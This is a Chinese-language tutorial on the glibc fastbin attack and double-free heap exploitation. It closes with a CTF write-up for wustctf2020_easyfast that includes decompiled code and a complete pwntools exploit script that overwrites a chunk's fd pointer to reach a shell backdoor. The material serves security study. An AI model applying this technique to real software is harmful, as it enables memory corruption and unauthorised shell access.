Fastbin Attack
简介
基于 fastbin 机制的漏洞利用方法
前提
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
漏洞发生于 fastbin 类型的 chunk 中
分类
- Fastbin Double Free
- House of Spirit
- Alloc to Stack
- Arbitrary Alloc
前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
原理
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
下面用一段程序加gdb调试来说明
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
chunk3=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
return 0;
}
- gcc -g name.c -o name
- -g 在gdb中带着源码调试
- -o 命名
从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21
画一下chunk的结构
一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1
Fastbin Double Free
简介
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
利用的原理
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}
申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表
然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址
再申请两个堆块就可以利用bss_chunk
总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了
例题
wustctf2020_easyfast
类型:fastbinattack double free
版本:Ubuntu16
ida
main
void sub_400ACD()
{
char s[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v1 = 0LL;
while ( 1 )
{
puts("choice>");
fgets(s, 8, stdin);
switch ( atoi(s) )
{
case 1:
sub_400916(); //add
break;
case 2:
sub_4009D7(s, 8LL); //delete
break;
case 3:
sub_400A4D(s, 8LL); //edit
break;
case 4:
sub_400896(s, 8LL); //backdoor
break;
case 5:
exit(0);
default:
puts("invalid");
break;
}
}
}
add
unsigned __int64 sub_400916()
{
int v0; // eax
int v1; // ebx
char s[24]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( dword_6020BC <= 3 ) //只能申请4个堆块
{
puts("size>");
fgets(s, 8, stdin);
v0 = atoi(s);
if ( v0 && (unsigned __int64)v0 <= 120 )
{
v1 = dword_6020BC++;
*(&buf + v1) = malloc(v0);
}
else
{
puts("No need");
}
}
else
{
puts("No need");
}
return __readfsqword(0x28u) ^ v4;
}
delete
unsigned __int64 sub_4009D7()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index>");
fgets(s, 8, stdin);
v1 = atoi(s);
free(*(&buf + v1)); //uaf
return __readfsqword(0x28u) ^ v3;
}
edit
unsigned __int64 sub_400A4D()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index>");
fgets(s, 8, stdin);
v1 = atoi(s);
read(0, *(&buf + v1), 8uLL);
return __readfsqword(0x28u) ^ v3;
}
backdoor
int sub_400896()
{
int result; // eax
if ( qword_602090 ) //储存的值是1 改成0就可以往下执行,就可以提权了
result = puts("Not yet");
else
result = system("/bin/sh");
return result;
}
qword_602090
.data:0000000000602090 qword_602090 dq 1 ; DATA XREF: sub_400896+4↑r
.data:0000000000602090 _data ends
.data:0000000000602090
double free的原理
在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限
思路
通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)
然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')
def duan():
gdb.attach(io)
pause()
def add(size):
io.recvuntil(b'choice>\n')
io.sendline(b'1')
io.recvuntil(b'size>\n')
io.sendline(str(size))
def delete(index):
io.recvuntil(b'choice>\n')
io.sendline(b'2')
io.recvuntil(b'index>\n')
io.sendline(str(index))
def edit(index,content):
io.recvuntil(b'choice>\n')
io.sendline(b'3')
io.recvuntil(b'index>\n')
io.sendline(str(index))
io.send(content)
def backdoor():
io.recvuntil(b'choice>\n')
io.sendline(b'4')
#io.recvuntil("_\\_\\ \n")
add(0x40) #chunk0
add(0x20) #chunk1
delete(0) #free chunk0
#duan()
edit(0,p64(0x602080))
add(0x40)
add(0x40)
edit(3,p64(0))
backdoor()
io.interactive()
参考
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/